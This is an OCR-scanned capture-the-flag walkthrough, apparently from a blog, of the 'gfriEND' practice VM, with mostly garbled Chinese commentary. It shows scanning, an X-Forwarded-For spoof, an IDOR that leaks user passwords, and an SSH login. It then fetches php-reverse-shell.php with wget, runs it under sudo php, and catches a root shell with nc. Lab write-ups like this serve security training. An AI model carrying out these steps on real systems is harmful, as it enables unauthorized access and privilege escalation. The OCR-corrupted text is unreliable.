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Currently scanning: 192.168.22.0/16 | Screen View: Unique Hosts

192.168.1.186 @c:29:6f:18: VMware, Inc.

192.168.1.1 :c7:c@ibele: TP-LINK TECHNOLOGIES CO.,LTD.

192.168.1.105 :1b:b5:29:d3: Intel Corporate

192.168.1.186 :@c:29:2d:6d: VMware, Inc.

192.168.1.100 121:01:30:42: GUANGDONG OPPO ﬂﬂ% B UNICATIONS CO
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:~# nmap -sV -A -p ©-65535 192.168.1.1086
Starting Nmap 7.80 ( https://nmap.org ) at 2020-81-18 82:34 EST
Nmap scan report for 192.168.1.106
Host is up (@.001@s latency).
Not shown: 65534 closed ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.8)
ssh-hostkey:
1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
2048 3b:26:4d:e4:a@:3b:f8:75:d9:62:15:55:82:8c:71:97 (RSA)
256 Bf:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:bd (ECDSA)
_ 256 d@:c3:02:al:ck:c2:aB:ac:3b:B4:ae:8f:e5:79:66:76 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
_http-server-header: Apache/2.4.7 (Ubuntu)
_http-title: Site doesn't have a title (text/html).
MAC Address: @0:0C:29:2D:6D:89 (VMware)
Device type: general purpose
Running: Linux 3.X|&.X
0S CPE: cpe:/o:linux:1linux_kernel:3 cpe:/fo:Llinux:linux_kernel:&
0S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel
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Who are you? Hacker? Sorry This Site Can Only Be Accessed locall
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dirb http://192.168.1.106



START_TIME: Sat Jan 18 ©3:00:08 2020
URL_BASE: http://192.168.1.106/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.186/ ----

= DIRECTORY: http://192.168.1.106/config/

+ http://192.168.1.106/index.php (CODE:200|SIZE:120)

= DIRECTORY: http://192.168.1.106/misc/

+ http://192.168.1.106/robots.txt (CODE:200|SIZE:32)

+ http://192.168.1.106/server-status (CODE:403|SIZE:293)

---- Entering directory: http://192.168.1.106/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

RI—robots S, HF—F X KRI—heyhoo. 3ok, BIFHEERM—a)iE, FREH2H:

& c @ (® 192.168.1.106/robots.txt

User—Agent: #
Allow: /hevhoo. txt

<« C @ () 192.168.1.106/heyhoo.ixt

Great! What you need now is reconn, attack and got the shell
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Who are you? Hacker? Sorry This Site Can Only Be Accessed lﬂcalf {!— Maybe you can search how to use x—forwarded—for —>
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[ Dashboard ITarget T Praxy I Intruder I Repeater T Sequencer T Decoder I Comparer T Extender ]TD

J Intercept I HTTP history IWehSo—:kets history T Options ]

/ Request to http://192.168.1.106:80

[ Forward J l Drop J | Intercept is on | Action

J Raw T Params T Headers I Hex ]

GET FHTTP/1 A1

Host: 192.168.1.106

User-Agent: Mozilla/s.0 (Windows MT 10.0; Wing4; x64; n:69.0) Gecko/20100101 Firefox/59.0
Accept: text/html application/xhtml+xml application/xml, q=0.9 **q=0.8




Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=ohj3ubod748f4bbh0lupOrhno&

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

*-Forwarded-For: localhost ‘_—_
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<« C @ ® 192.168.1.106/?page=index <mmm——

Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

SRl L2 TEERFE, REFASEMBHE:

£/ Request to hitp/i192.168.1.106:80

l Forward J l Drop J [ Intercept is on 1 Action

J Raw T Params I Headers T Hex }

GET /?page=index HTTP/1.1

Host: 192.168.1.106

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv69.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 */*;q=0.8

Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Connection: close

Cookie: PHPSESSID=chj3ubod7 48f4bbh0lupOrhnos

Upgrade-Insecure-Requests: 1

Cache-Cantral: max-age=0

¥-Forwarded-For: localhost P‘

® 192.168.1.106/?page=index e @ | Q BE

Welcome To Ceban Corp

Inspiring The People To Great Again!

Home | Login | Register | About

KR EA AN EER, L ZRIFEA R 2 AR, BREMNEMTE, seE—NMRr#EEE—T, EXEREE
BIA, B ST KRS T I .

=. WA H

S —Aadminfl P, BREMS XA 3% DR RS



<« C © @ # 192.168.1.106/?page=register
page=reg

Welcome To Ceban Corp

Inspiring The People To Great Again!

Home | Login | Register | About

Name |admin
Email |123456@qgq.com
Username |admin |

Password |oooo. |

Login
<« C ® ® 192.168.1.106/index.php?page=dashboard&user id=12 k
Welcome To Ceban Corp
Inspiring The People To Great Again!
Dashboard | Profile | Logout
Wellcome Back!

Are you ready for Inspiring The People? Let's Do It!|

BERUAE RN, XAEHEEH M, RERNE - MREXHHEERE, T7F—T:

< C @ ® # 192.168.1.106/index.php?page=profile@user id=12 < ———

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Name |admin |
Username ‘admin |

Password [eeess |
Change

HEEulbiid, FERETUEERFH, ZRBEEmaets—T,
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/ Request to http://192.168.1.106:80

l Forward J l Drop J { Intercept is on ] l Action J

J RawT Params T Headers I Hex ]

GET findex.php?page=profile&user_id=1 HTTR/1 1
Host: 192.168.1.106

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; nv:69.0) Gecko/20100101 Firefox/59.0




Accept: text/html application/shtml+xml applicationfxml;q=0.9 " q=0.8
Accept-Language: zh-CM zh;q=0.8, zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/192 168.1.106/index. php?page=dashboard&user_id=12

Connection: close

Cookie: PHPSESSID=ohj3ubod748f4bbh0lupOrhno&

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

*-Forwarded-For: localhost h————

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Name |Eweuh Tandingan |

Username |eweuhtand'|ngan |

Password |uooon. |

Change

RARMBAVEER—H, ATCURHA B, FHEAEERM R LE R

<h2>Welcome To Ceban Corp</h2>

<{p>Inspiring The People To Great Again!<{/p>

<hr>
{p><a href="?page=dashbhoard”>Dashhoard{/a> | <a href="?page=profilefuser id=12">Prof
<hr>

</div>

{form action="#" method="POST">
(label for="name”>Name</label>
{input type="text” name="name” id="name” value="Eweuh Tandingan”><br>
{label for="username”>Username</label>
{input type="text” name="username” id="username” value="eweuhtandingan”><br>
(label for="password”>Password<{/label
{input type="password” name="password” id="password” wvalue="skuvatuh”><br>
¢button disabled="disabled”>Change</button>

</ form>
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BANVFIEE220 DRI E, SASKMELIFR—DMHT, REZRE#ITsshiER, KRN HFATT, BRid=12—
AP, BEANREE A E? REREIMEEBH, B3R TN

eweuhtandingan skuyatuh

aingmaung qwerty!!!
sundatea 1indONEsia
sedihaingmah cedihhihihi
alice 4lic3
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+ Stopped ssh eweuhtandingang192.168.1.106
:~# ssh alice@l192.168.1.106
aliceq192.168.1.106"'s password:
Last login: Fri Dec 13 14:48:25 2019

aliceagfriEND:~$ id
uid=1000@(alice) gid=1001(alice) groups=1001(alice)
aliceagfribND:~$ ]

M. K#shelliZHL
SRR AP AR AT R &, B B RE IR

. g .
alice@gfriEND:~$ sudo -1
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on gfriEND:
(root) NOPASSWD: fusr/bin/php
aliceagfribND:~$ ]

RIIXAF 7 FEAR T LA i sudo Hrootii AT php s &, BT AFE X BAT Tt 7T LAAR 2 FI A php A ) #ishell. FATIeREF EX T H#A
A A

lsu: Authentication failure

alicegfriEND:~$ 1s -al

total 32

drwxr-xr-x & alice alice 4096

drwxr-xr-x 6 root root &096
alice alice 1@ : .bash_history
alice alice 220 : .bash_leogout
alice alice 3637 I .bashrec
alice alice 4096
alice alice 4096
alice alice 675 : .profile

aliceqgfriEND:~
= 1 sdn.net/Long_gone

RI—A B my_secret, ITHE—TF,

1s -al .my_secret

alice@gfriEND:~$ 1s -al .my_secret

total 16

drwxrwxr-x 2 alice alice 4096 Dec 13 14:1@

drwxr-xr-x 4 alice alice 4096 Dec 13 14:47

-rw-r—r— 1 root root 306 Dec 13 13:04 flagl.txt
-rw-rw-r— 1 alice alice 119 Dec 13 12:23 my_notes.txt
aliceagfribND:~$ ]

EIXE, RIT flagl.txt:

cat .my_secret/flagl.txt




alice@gfriEND:~$ cat .my_secret/flagl.txt
Greattttt my brother! You saw the Alice's note! Now you save the record informaf
bob! I know if it's given to him then Bob will be hurt but this is better than H

Now your last job is get access to the root and read the flag "_"

Flag 1 : gfriEND{2f5f21b2af1bBc3e227bcf35544F8f09}
aliceggfriEND:~$

fEkall REHHE B Fphp I :

Nmap done: 1 IP address (1 host up) scanned in 16.91 seconds
:~# ¢d fusr/share/webshells/php/
: # 1s
php-backdoor.php php-reverse-shell.php gsd-php-backdoor.php simple-backdoor.php
# 1

A%k FEphp-reverse-shell.php, RFHIX/NHIA T EHBNELYLF . # FHpython3#E 2 4 5 IR %88

python3 -m http.server 6666
wget http://192.168.1.107:6666/php-reverse-shell.php

# python3 -m http.server 6666
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
192.168.1.106 - - [18/Jan/2020 ©5:53:56] "GET /php-reverse-shell.php HTTP/1.1" 208 -

alice@gfriEND:~$ pwd

/home/alice

alice@gfriEND:~$ wget http://192.168.1.107/php-reverse-shell.php
—2020-01-19 01:03:20— http://192.168.1.1087/php-reverse-shell.php
Connecting to 192.168.1.107:80... failed: Connection refused.
alice@gfriEND:~$ wget http://192.168.1.187:6666/php-reverse-shell.php
-—2020-01-19 01:03:30-- http://192.168.1.107:6666/php-reverse-shell.php
Connecting to 192.168.1.107:6666 ... connected.

HTTP request sent, awaiting response... 208 0K

Length: 5491 (5.4K) [application/octet-stream]

Saving to: ‘php-reverse-shell.php’

32.4KB/s in 0.2s
2020-01-19 01:03:30 (32.4 KB/s) - ‘php-reverse-shell.php’ saved [5491/5491]
alice@gfriEND:~$ 1s

php-reverse-shell.php
aliceagfribND:~$ ] http yg.csdn.net/Long_gone

KRG B BEX AN A
vim php-reverse-shell.php




sdn.net/Long_gone

ARG, BRERIBGENL, )5 YT 123435 0 :

:~# nc -lvp 1234
listening on [any] 1234 ...

SR )5 B B EE ML A IE 4T X AN php SO

alice@gfriEND:~$ vim php-reverse-shell.php

alice@gfriEND:~$ sudo php php-reverse-shell.php

alicegfriEND:~$ PHP Notice: Undefined variable: daemon in /home/alice/php-reverse-shell.php ¢
n line 184

Successfully opened reverse shell to 192.168.1.107:1234

:~# nc =lvp 1234
listening on [any] 1234 ...
192.168.1.106: inverse host lookup failed: Unknown host
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 41684
Linux gfriEND &4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 x86
_64 xB6_64 GNU/Linux
©1:12:4@0 up 3:22, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU  PCPU WHAT
alice pts/0 192.168.1.187 00:30 9.00s ©.09s ©0.09s -bash
uid=0(root) gid=0(root) groups=@(root)
/binfsh: @: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=@(root)
# 1
ng_gone

B ElikrootH 7, ARG ArootH 7 T &k Fiflag2.txt:

cd /root
1s



uid=0(root) gid=0(root) groups=@(root)
/bin/sh: @: can't access tty; job control turned off
# id

uid=0(root) gid=0(root) groups=@(root)
# cd /root

# 1s

flagz.txt

cat flag2.txt

# cat flag2.txt

Yeaaahhhh!! You have successfully hacked this company server! I hope you who have just learned
can get new knowledge from here :) I really hope you guys give me feedback for this challenge w
hether you like it or not because it can be a reference for me to be even better! I hope this c
an continue :)

Contact me if you want to contribute / give me feedback / share your writeup!
Twitter: Omakegreatagain_
Instagram: aaldodimas73

Thanks! Flag 2: gfriEND{56fbeef560930e77ff984b644Tde66e7}
N |

csdn.net/Long_gone
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